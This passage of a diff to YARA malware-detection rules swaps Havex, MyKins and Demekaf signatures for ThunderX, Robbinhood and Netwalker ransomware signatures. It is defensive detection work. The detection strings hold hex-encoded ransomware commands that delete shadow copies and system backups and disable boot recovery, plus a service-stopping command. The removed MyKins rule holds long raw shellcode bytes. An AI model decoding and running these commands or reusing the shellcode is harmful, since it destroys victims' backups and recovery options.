"a667bb4e-8c38-59a6-8ae0-09c44961a687" - date = "2012-11-17" - modified = "2020-08-14" - reference = "https://www.f-secure.com/v-descs/backdoor_w32_havex.shtml" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_backdoor_havex_pdb.yar#L1-L26" + description = "Rule to detect tthe ThunderX ransomware family" + author = "McAfee ATR team" + id = "cf5ecd0c-db26-5fe4-a056-b5c1ca3b1d34" + date = "2020-09-14" + modified = "2020-10-12" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_ThunderX.yar#L3-L45" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255" - logic_hash = "dc50475b1ff2194306a0295f71860e4cc5ae7e126daa5d401b98cd2a0aadf1dd" + logic_hash = "f870616c4a35239a01129daad5f12469b2df39251ee4bc9fbeb5523f00231ece" score = 75 - quality = 70 - tags = "BACKDOOR, FILE" + quality = 68 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Havex" + malware_type = "ransomware" + malware_family = "Ransomware:W32/ThunderX" actor_type = "Cybercrime" actor_group = "Unknown" + hash1 = "7bab5dedef124803668580a59b6bf3c53cc31150d19591567397bbc131b9ccb6" + hash2 = "0fbfdb8340108fafaca4c5ff4d3c9f9a2296efeb9ae89fcd9210e3d4c7239666" + hash3 = "7527459500109b3bb48665236c5c5cb2ec71ba789867ad2b6417b38b9a46615e" strings: - $pdb = "\\Workspace\\PhalangX 3D\\Src\\Build\\Release\\Phalanx-3d.ServerAgent.pdb" - $pdb1 = "\\Workspace\\PhalangX 3D\\Src\\Build\\Release\\Tmprovider.pdb" + $pattern1 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573" + $s3 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii + $s4 = "626364656469742E657865202F736574207B64656661756C747D207265636F76657279656E61626C6564204E6F" ascii + $s5 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii + $s6 = "433A5C50726F6772616D2046696C65732028783836295C4D6963726F736F66742053514C20536572766572" ascii + $s7 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838" ascii + $s8 = "433A5C50726F6772616D2046696C65735C4D6963726F736F66742053514C20536572766572" ascii + $s9 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii + $s10 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii + $s11 = "534F4654574152455C4D6963726F736F66745C45524944" ascii + $s12 = "AppPolicyGetProcessTerminationMethod" fullword ascii + $s13 = "7B5041545445524E5F49447D" ascii + $s14 = "726561646D652E747874" ascii + $s15 = "226E6574776F726B223A22" ascii + $s16 = "227375626964223A22" ascii + $s17 = "226C616E67223A22" ascii + $s18 = "22657874223A22" ascii + $s19 = "69642E6B6579" ascii + $s20 = "7B5549447D" ascii + $seq0 = { eb 34 66 0f 12 0d 10 c4 41 00 f2 0f 59 c1 ba cc } + $seq1 = { 6a 07 50 e8 51 ff ff ff 8d 86 d0 } + $seq2 = { ff 15 34 81 41 00 eb 15 83 f8 fc 75 10 8b 45 f4 } condition: - uint16( 0 ) == 0x5a4d and filesize < 500KB and any of them + ( uint16( 0 ) == 0x5a4d and filesize < 400KB and pe.imphash ( ) == "ea7e408cd2a264fd13492973e97d8d70" and $pattern1 and 4 of them ) and all of ( $seq* ) or ( all of them ) } -rule TRELLIX_ARC_Shellcode_Mykins_Botnet : SHELLCODE FILE +rule TRELLIX_ARC_Robbinhood_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the shellcode used in the MyKins Botnet" - author = "Marc Rivero | McAfee ATR Team" - id = "9dc80b27-59e2-5925-9bb7-64a54241f52b" - date = "2018-01-24" + description = "Robbinhood GoLang ransowmare" + author = "Christiaan Beek | McAfee ATR" + id = "b2654d00-330e-511e-b8f1-75aa7b57d040" + date = "2019-05-10" modified = "2020-08-14" - reference = "https://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_shellcode_mykins_botnet.yar#L1-L27" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_RobbinHood.yar#L1-L37" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "5fa54c41a423d776d05bdac5b171ee685f54372b4e6aa41b57cce769ac2c6976" + hash = "9977ba861016edef0c3fb38517a8a68dbf7d3c17de07266cfa515b750b0d249e" + logic_hash = "19a1b7d92bc49dee6da3fb4c053b118e6475aeca43e891d46470c2c09c148038" score = 75 quality = 70 - tags = "SHELLCODE, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "shellcode" - malware_family = "ShellCode:W32/MyKins" + malware_type = "ransomware" + malware_family = "Ransom:W32/Robbinhood" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $a = { 4883EC28E847000000488D0DF0FFFFFF488D1539000000482BCA4803C14883C428C3CCCC488D05D5FFFFFF482BC8488BC1C3CCCC4883EC28E83F0D000033C04883C428C3CCCCCCCCCCCCCCCCCCCCCCCCE8000000005848B95510004001000000482BC148B950100040010000004803C1C3CCCCCC48897C24084C8BC94D85C0740C488BF9480FBEC2498BC8F3AA488B7C2408498BC1C3CCCC40534883EC20488BD9E85AFFFFFF488D0D53FFFFFF482BD94803C34883C4205BC3CCCCCC33D28BC2EB06FFC04883C10266391175F5F3C3CC668339004C8BC1740B4983C002664183380075F54C2BC20FB70266418904104883C2026685C075EF488BC1C34C8BC14C2BC20FB70266418904104883C2026685C075EF488BC1C3CC4C8BC14C2BC28A024188041048FFC284C075F3488BC1C3CC8039004C8BC1740949FFC04180380075F74C2BC28A024188041048FFC284C075F3488BC1C3CCCCCC48895C24084533D2458BCA4585C07E320FB702663901741A0FB719440FB7D88BC3412BC383F8207409442BDB4183FB20751041FFC14883C1024883C202453BC87CCE488B5C2408453BC8410F95C2418BC2C3CCCC4533C948895108458BC16644390A740D41FFC04963C06644390C4275F3664503C066448901664183C0026644894102C34883EC3833C04C8BD233D248895424228954242A668954242E66894424204885C9741A4D85D27415488BD1488D4C2420E89BFFFFFF488D4C242041FFD24883C438C3CCCC4883EC284863C14C8BCA4C8D44243833D233C94869C0F0D8FFFF488944243841FFD14883C428C3CC48895C241048897C241855488BEC4883EC604883651000488365C800488365D800488365E000488365F000488365F800498BD9498BF848894DC0488BC24C8D4DC04C8D45D0488D4D10BAFFFF1F00C745D030000000C745E840020000FFD0488B4D104885C9740DBA01000000FFD7488B4D10FFD34C8D5C2460498B5B18498B7B20498BE35DC3CCCC488BC44889580848896810565741544883EC308360D80083601800498BF18BEA4C8BE1498BD833FF4C8D4818488D50D88D4F054533C0FFD3894424208B44246085C0750733C0E9C20000008D14004533C033C9FFD6448B4424604C8D4C2460488BD0B9050000004503C0488BF0FFD38944242085C0740B33D2488BCEFF542470EBC28B4C246048B81986611886611886488BDE48F7E1482BCA48D1E94803CA48C1E908894C2460488B4B404885C9742E0FB743383BC57C262BC5992BC2D1F84C63C8781A8BC54A8D0C49992BC2498BD4D1F8448BC0E8AEFDFFFF85C0740B393B740B8B034803D8EBBE488B7B50488B4424784885C0740A4885FF7405488918EB0933D2488BCEFF542470488BC7488B5C2450488B6C24584883C430415C5F5EC3C20000CC4585C07410482BCA8A0288041148FFC241FFC875F3F3C3CC40534883EC20488BD9E8E6FBFFFF488D0DDFFBFFFF482BD94803C34883C4205BC3CCCCCC48895C2408488974241048897C24185541544155488BEC4883EC404863413C4C8BC1B90B020000488BF2C745E04D6D4765C745E474537973C745E874656D52C745EC6F757469C745F06E654164C745F46472657366C745F873006642394C00180F8584000000428B8400880000004533D24903C08B50208B58248B781C448B68184903D04903D84903F84585ED745B8B024533C94903C044380874234C8D5DE0488BC84C2BD8458A240B4584E47410443821750B48FFC149FFC180390075E741803C0100750842807C0DE000740E41FFC24883C204453BD57310EBB3420FB70C538B048F4903C0488906488B1E4885DB750883C8FFE9E1020000488D0D47340000E8D6FEFFFF488BD3488BC8E89BFCFFFF488D0D5034000048898690000000E8B8FEFFFF488B16488BC8E87DFCFFFF488D0D5A34000048898698000000E89AFEFFFF488B16488BC8E85FFCFFFF488D0D6C34000048894608E87FFEFFFF488B16488BC8E844FCFFFF488D0D8934000048894610E864FEFFFF488B16488BC8E829FCFFFF488D0D9E34000048894618E849FEFFFF488B16488BC8E80EFCFFFF488D0DAB34000048894620E82EFEFFFF488B16488BC8E8F3FBFFFF488D0DC834000048894628E813FEFFFF488B16488BC8E8D8FBFFFF488D0DE534000048894630E8F8FDFFFF488B16488BC8E8BDFBFFFF488D0D0235000048894638E8DDFDFFFF488B16488BC8E8A2FBFFFF488D0DF734000048894640E8C2FDFFFF488B16488BC8E887FBFFFF488D0DFC34000048894648E8A7FDFFFF488B16488BC8E86CFBFFFF488D0D0935000048894650E88CFDFFFF488B16488BC8E851FBFFFF488D0D0E35000048894658E871FDFFFF488BC8488B16E836FBFFFF488D0D2B35000048894660E856FDFFFF488B16488BC8E81BFBFFFF488D0D5035000048894668E83BFDFFFF488B16488BC8E800FBFFFF488D0D5D35000048894670E820FDFFFF488B16488BC8E8E5FAFFFF488D0D7235000048894678E805FDFFFF488B16488BC8E8CAFAFFFF488D0D8735000048898680000000E8E7FCFFFF488B16488BC8E8ACFAFFFF488D0D8935000048898688000000E8C9FCFFFF488B16488BC8E88EFAFFFF488D0D8B350000488986A0000000E8ABFCFFFF488B16488BC8E870FAFFFF488D0D95350000488986A8000000E88DFCFFFF488B16488BC8E852FAFFFF488D0DA7350000488986B0000000E86FFCFFFF488B16488BC8E834FAFFFF488D0DA1350000488986B8000000E851FCFFFF488B16488BC8E816FAFFFF488D0DA3350000488986C0000000E833FCFFFF488B16488BC8E8F8F9FFFF488D0DA5350000488986C8000000E815FCFFFF488B16488BC8E8DAF9FFFF488986D000000033C0488B5C2460488B742468488B7C24704883C440415D415C5DC348895C24085556574154415541564157488DAC2410FEFFFF4881ECF00200004533FF488BD9498BF8488BF2488D8DE100000041B80301000033D24C897C24504C897C24604C897C24704C897C24684C89BD480200004488BDE0000000E8EFF7FFFF488D4DC0C745C01C010000FF9688000000837DC40675488B45C885C0752780BDDA00000001754D83C8FF488B9C24300300004881C4F0020000415F415E415D415C5F5E5DC383F801742A83F802740583F80375D380BDDA000000017517EBC8837DC40A75C244397DC875BC80BDDA0000000175B3488BD7488BCBFF56384C393F74A541BD300000004C897C243041BE000000084C8D8D380200004C8D442478488D4C2460418D55DEBB00020000448974242848C785380200004729000044896C24784C897D80895D904C897D884C897D984C897DA0C744242040000000FF96900000004C397C24607509418D45CEE937FFFFFF895D90BB040000004C897C24304C8D8D380200004C8D442478488D4C24708D530241BC1F4C1000448974242844896C24784C897D804C897D884C89A5380200004C897D984C897DA0895C2420FF9690000000488B0F4C8D7708498BD64C8975B0FF5678488B4C2460C74424484000000044897C2440C744243802000000488D44245048894424304C8D85480200004533C94883CAFF4C897C242848C744242000200000FF9698000000488B4C2470895C244844897C2440C744243802000000488D44245048894424304C8D4424684533C94883CAFF4C897C24284C897C24504C89642420 } - $b = { E800000000582D051040000500104000C3558BEC8B45082D001040005DC20400558BECFF7508E80A0A000033C05DC20400558BEC8B4D1085C9741F0FB6450C69C0010101018BD153578B7D08C1E902F3AB8BCA83E103F3AA5F5B8B45085DC3558BECE899FFFFFF8B4D0881E90010400003C15DC20400558BEC8B4D0833C066390174084066833C410075F85DC20400558BEC8B450866833800568BF0740983C60266833E0075F78B4D0C2BF10FB7116689140E83C1026685D275F15E5DC20800558BEC8B55088B450C2BD00FB70866890C0283C0026685C975F18B45085DC20800558BEC8B55088B450C2BD08A08880C024084C975F68B45085DC20800558BEC8B4508803800568BF0740646803E0075FA8B4D0C2BF18A1188140E4184D275F65E5DC20800558BEC5633F63975107E2D8B45088B4D0C0FB704700FB70C71663BC174148BD08BC18BCA2BC883F92074072BC283F8207506463B75107CD333C03B75105E0F95C05DC20C00558BEC8B450C8B550850894204E8FAFEFFFF03C066890283C002668942025DC20800558BEC51515733C0668945F88D7DFAAB33C966AB5F394D08741A394D0C7415FF75088D45F850E8B3FFFFFF8D45F850FF550C8BC88BC1C9C20800558BEC51518B45086AFF9968F0D8FFFF5250E8730A00008945F88D45F8506A006A008955FCFF550CC9C20800558BEC83EC248B4508568945F48D45F4508D45DC5033F668FFFF1F008D45FC508975FC8975F8C745DC180000008975E0C745E8400200008975E48975EC8975F0FF550C3975FC5E740E6A01FF75FCFF5510FF75FCFF5514C9C21000558BEC83EC0C538D45FC5033DB538D45F8506A05895DF8895DFCFF55108945F88B45FC3BC3750733C0E99E000000565303C05053FF55148BF08D45FC508B45FC03C050566A05897514FF55108945F83BC374095356FF551833C0EB6F8B45FC33D2B9F8000000F7F1578945FC8B7E3C3BFB742E0FB746383B450C7C252B450C992BC28BC8D1F978198B450C992BC2D1F850FF75088D044F50E83BFEFFFF85C0740A8B063BC3740903F0EBC18B7E44EB028BFB8B451C3BC374083BFB74048930EB0753FF7514FF55188BC75F5E5BC9C21800C21400558BEC837D100074178B4D088B450C2BC88A10FF4D1088140140837D100075F15DC20C00558BECE8B3FCFFFF8B4D0881E90010400003C15DC20400558BEC83EC2C538B5D088B433CB90B010000568B750CC745D44D6D4765C745D874537973C745DC74656D52C745E06F757469C745E46E654164C745E86472657366C745EC730066394C18180F858F0000008B44187803C38B501C8B482003D3578B78248B40188955F033D203CB03FB8955FC8945F485C07466EB038B5D088B149183650C0003D3803A0074238D5DD42BDA8BC2895DF8EB038B5DF88A1C0384DB740D38187509FF450C4080380075E98B450C803C10007507807C05D400740E8B55FC428955FC3B55F472B0EB128B45FC0FB704478B4DF08B048103450889065F8B0685C0750883C8FFE9230200005068D0414000E8F0FEFFFF50E831FDFFFFFF3689464868F0414000E8DBFEFFFF50E81CFDFFFFFF3689464C6818424000E8C6FEFFFF50E807FDFFFFFF368946046844424000E8B1FEFFFF50E8F2FCFFFFFF368946086878424000E89CFEFFFF50E8DDFCFFFFFF3689460C68A8424000E887FEFFFF50E8C8FCFFFFFF3689461068CC424000E872FEFFFF50E8B3FCFFFFFF368946146800434000E85DFEFFFF50E89EFCFFFFFF368946186834434000E848FEFFFF50E889FCFFFFFF3689461C686C434000E833FEFFFF50E874FCFFFFFF36894620687C434000E81EFEFFFF50E85FFCFFFFFF36894624689C434000E809FEFFFF50E84AFCFFFFFF3689462868C0434000E8F4FDFFFF50E835FCFFFFFF3689462C68DC434000E8DFFDFFFF50E820FCFFFFFF368946306810444000E8CAFDFFFF50E80BFCFFFFFF36894634684C444000E8B5FDFFFF50E8F6FBFFFFFF368946386874444000E8A0FDFFFF50E8E1FBFFFFFF3689463C68A0444000E88BFDFFFF50E8CCFBFFFFFF3689464068D0444000E876FDFFFF50E8B7FBFFFFFF3689464468EC444000E861FDFFFF50E8A2FBFFFFFF368946506808454000E84CFDFFFF50E88DFBFFFFFF368946546830454000E837FDFFFF50E878FBFFFFFF36894658685C454000E822FDFFFF50E863FBFFFFFF3689465C6870454000E80DFDFFFF50E84EFBFFFFFF368946606890454000E8F8FCFFFF50E839FBFFFFFF3689466468AC454000E8E3FCFFFF50E824FBFFFF89466833C05E5BC9C20800558BEC81EC5C020000535633DB5768030100008D85A5FDFFFF5350895DF8895DE8895DDC895DF4895DFC889DA4FDFFFFE889F9FFFF8B7D0C83C40C8D85A8FEFFFF50C785A8FEFFFF1C010000FF574483BDACFEFFFF05751283BDB0FEFFFF02743983BDB0FEFFFF01EB2E83BDACFEFFFF06750E399DB0FEFFFF7510807DC201751983C8FF5F5E5BC9C20C0083BDB0FEFFFF0175ED807DC20175E78B751056FF7508FF571C391E74D95368000000086A408D45EC508D45C4506A0E8D45E850C745EC47250000895DF0C745C418000000895DC8C745D000020000895DCC895DD4895DD8FF5748395DE875056AFE58EB955368000000086A048D45EC508D45C4506A068D45DCBE0B4C1000508975EC895DF0C745C418000000895DC8C745D000020000895DCC895DD4895DD8FF57488B45108D480451FF30894DE0FF573C6A40536A028D45F850536800200000538D45FC506AFFFF75E8FF574C6A04536A028D45F8505356538D45F4506AFFFF75DC895DF88975EC895DF0FF574C395DFC0F84330200008B75F43BF30F8428020000895E048B85B4FEFFFF8946108B85ACFEFFFF8946088B85B0FEFFFF89460C6A0C5889462C8946308B4510C7060C3C1000C7462830000000C746342C000000C7463818000000C7463CA80100008B401C894618895D0C6840464000E800F8FFFF8BC88B450C8A0C0180F10D888C05A4FDFFFF4089450C3D040100007CD98D8DA4FDFFFF8D46405150E855F8FFFF6844474000E8C9F7FFFF508D464050E85DF8FFFF8B45108B40283BC3742C8B4E1883F902750A8B40200504020000EB0D83F90375158B40200500010000508D860001000050E80BF8FFFFE825F7FFFFB9881C400081E90010400003C189450C33C9EB038B450C8A04088B55FC88040A4181F94825000072EB535353680C3C100056FF572C8BF03BF37460536A0156FF57386A1053536A015356FF57348B75108946203BC37447C680040200004E8B4620C68005020000538B4620C680060200002E8B4620C68007020000658B4620C68008020000788B4620C68009020000658B462088980A020000EB038B75108B46243BC30F8497000000895D083958040F868B000000895D0C8B46248B4D0C8B8401DC0000008D4D105150895D10FF5714395D107455FF7510FF57683B06754B536A3053FF57048945E43BC3743DE833F6FFFF53B91E13400081E90010400003C18B4DFC6A0183C12051535053FF7510FF75E4FF57245353FF75F4FF75E4FF5728FF770C6A01E8C1F7FFFFFF45088B46248B4D0883450C403B48040F8278FFFFFFFF75E0FF574033C0E9CFFCFFFFFF75E0FF57406AFDE92AFDFFFF558BEC81EC0C020000565733F66A688D8540FFFFFF565089B53CFFFFFFE8DAF5FFFF83C40C6A0A5933C06A0A8975A88D7DACF3AB5989B510FFFFFF8DBD14FFFFFFF3AB8D45A8898538FFFFFF8D853CFFFFFF50FF7508C745C401000000C7852CFFFFFF02000000E8BBF8FFFF85C00F8582010000538D85F4FDFFFF50C785F4FDFFFF1C010000FF5580BBEC45400083BDF8FDFFFF05750353EB0568D0454000E86CF8FFFF8D4DCC51FFB54CFFFFFFFFB540FFFFFFFFB544FFFFFF6A1850E856F7FFFFFFB548FFFFFF8BF83BFE750C68D0070000E8B9F6FFFFEBB46888130000E8ADF6FFFF8D45A8508D853CFFFFFF5057E849FBFFFF85C00F85F8000000EB10FFB548FFFFFF68D0070000E882F6FFFF8B45C883781C0175E783BDF8FDFFFF05750E6808464000E8E5F7FFFF6A16EB0C68D0454000E8D7F7FFFF6A18598D9534FFFFFF52FFB54CFFFFFFFFB540FFFFFFFFB544FFFFFF5150E8BCF6FFFF } + $s1 = ".enc_robbinhood" nocase + $s2 = "sc.exe stop SQLAgent$SQLEXPRESS" nocase + $s3 = "pub.key" nocase + $s4 = "main.EnableShadowFucks" nocase + $s5 = "main.EnableRecoveryFCK" nocase + $s6 = "main.EnableLogLaunders" nocase + $s7 = "main.EnableServiceFuck" nocase + $op0 = { 8d 05 2d 98 51 00 89 44 24 30 c7 44 24 34 1d } + $op1 = { 8b 5f 10 01 c3 8b 47 04 81 c3 b5 bc b0 34 8b 4f } + $op2 = { 0f b6 34 18 8d 7e d0 97 80 f8 09 97 77 39 81 fd } condition: - filesize < 1KB and any of them + ( uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 1 of ( $s* ) ) and all of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_Dropper_Demekaf_Pdb : DROPPER FILE +rule TRELLIX_ARC_Netwalker_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect Demekaf dropper based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "b49f42c1-d737-5afa-b547-7268e4cde360" - date = "2011-03-26" - modified = "2020-08-14" - reference = "https://v.virscan.org/Trojan-Dropper.Win32.Demekaf.html" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_dropper_demekaf_pdb.yar#L1-L25" + description = "Rule to detect Netwalker ransomware" + author = "McAfee ATR Team" + id = "6fe75a64-77b8-5cb8-9365-a5336d4d1617" + date = "2020-03-30" + modified = "2020-11-20" + reference = "https://www.ccn-cert.cni.es/comunicacion-eventos/comunicados-ccn-cert/9802-publicado-un-informe-de-codigo-danino-sobre-netwalker.html" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L3-L28" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "fab320fceb38ba2c5398debdc828a413a41672ce9745afc0d348a0e96c5de56e" - logic_hash = "89c0c1da1f8997b12a446c93bbde200e62fac9cab2a9a17147b268d435bdc3b6" + logic_hash = "11da4b57f8d9ed1fdf053053a51870af2cbf4062cc1340087ee70c3e92a1baf6" score = 75 quality = 70 - tags = "DROPPER, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "dropper" - malware_family = "Dropper:W32/Demekaf" - actor_type = "Cybercrime" - actor_group = "Unknown" + malware_type = "ransomware" + note = "The rule doesn't detect the samples packed with UPX" strings: - $pdb = "\\vc\\res\\fake1.19-jpg\\fake\\Release\\fake.pdb" + $pattern = { 8B????8B????89??C7????????????EB??8B????52E8????????83????8B????8B??5DC3CCCCCCCCCCCCCCCCCCCCCCCC558B??83????C7????????????83??????74??83??????72??83??????75??8B????E9????????C7????????????8B????33??B9????????F7??83????89????8B????8B????8D????51E8????????83????89????83??????0F84????????C7????????????C7????????????C6??????C6??????C6??????8B????3B????0F84????????8B????2B????39????73??8B????89????EB??8B????2B????89????8B????89????C7????????????8B????03????8B????2B??89????74??83??????7E??83??????7D??C7????????????8B????03????89????8B????518B????03????528B????03????50E8????????83????8B????03????89????83??????75??6A??8D????528B????03????50E8????????83????8B????83????89????8B????03????89????E9????????8B????8B????89??83??????74??8B????52E8????????83????8B????89??C7????????????8B????8B??5DC3CCCCCCCC558B??51B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????81????????????75??8B????83????89????C7????????????EB??C7????????????B9????????6B????8B????0FB6????BA????????C1????8B????0FB6????C1????0B??B8????????D1??8B????0FB6????C1????0B??BA????????6B????8B????0FB6????C1????0B??BA????????C1????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FBE????BA????????C1????8B????0FBE????C1????0B??B8????????D1??8B????0FBE????C1????0B??BA????????6B????8B????0FBE????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????D1??8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????6B????8B????89????8B??5DC3CCCCCC558B??B8????????6B????8B????C7????????????B8????????6B????8B????C7????????????B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????5DC3CCCCCC558B??83????83??????75??E9????????8B????508D????51E8????????83????BA????????6B????8B????8B????83????B8????????6B????8B????89????B9????????6B????8B????83??????75??B9????????6B????8B????8B????83????BA????????6B????8B????89????83??????77??C7????????????EB??8B????83????89????8B????3B????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??EB??C7????????????EB??8B????83????89????83??????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??8B????83????89????8B????83????89????8B????83????89????E9????????8B??5DC3CCCCCCCCCCCCCCCC558B??83????C7????????????EB??8B????83????89????83??????7D??8B????8B????8B????8B????89??????EB??C7????????????EB??8B????83????89????83??????0F8E????????B9????????6B????B8????????C1????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????C1????BA????????C1????8B??????33??????C1????B9????????C1????BA????????C1????8B??????33??????C1????0B??BA????????C1????89??????B8????????6B????BA????????C1????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????C1????BA????????6B????8B??????03??????BA????????C1????89??????B8????????C1????B9????????C1????8B??????33??????C1????B8????????C1????B9????????C1????8B??????33??????C1????0B??B9????????C1????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????6B????B8????????C1????8B??????33??????C1????BA????????6B????BA????????C1????8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????C1????B9????????6B????8B??????03??????B9????????C1????89??????BA????????6B????B9????????C1????8B??????33??????C1????B8????????6B????B8????????C1????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B????B9????????6B????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????D1??BA????????6B????8B??????03??????BA????????D1??89??????B8????????6B????BA????????D1??8B??????33??????C1????B9????????6B????B9????????D1??8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????D1??B8????????6B????8B??????03??????B8????????D1??89??????B9????????6B????B8????????D1??8B??????33??????C1????BA????????6B????BA????????D1??8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B???? } + $pattern2 = { CCCCCCCCCCA1????????C3CCCCCCCCCCCCCCCCCCCC538B??????5533??5785??74??8B??????85??74??8B????85??74??C1????50E8????????83????89??85??74??8B????5633??85??74??5653E8????????83????85??74??8B????85??74??8D??????89??????5150E8????????83????85??74??8B????8B??8B??????89????FF????8B????463B??72??39????B9????????5E0F44??5F8B??5D5BC35F5D33??5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC535556578B??????85??74??83????74??8B????85??74??8B??????85??74??33??85??74??8B??????660F1F??????85??74??8B??53FF????E8????????EB??E8????????8D????8B??FF????8B??53FF??83????85??75??463B????72??5F5E5D33??5BC35F5E5DB8????????5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??56E8????????8B????50E8????????83????85??75??A1????????6A??83????5650E8????????83????85??75??56E8????????83????85??74??8D????66??????74??83????83????75??33??5EC383????74??A1????????6A??83????5150E8????????83????85??74??B8????????5EC3CCCCCCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??A1????????83??????74??8B??????85??74??56E8????????8B??????????83????83????75?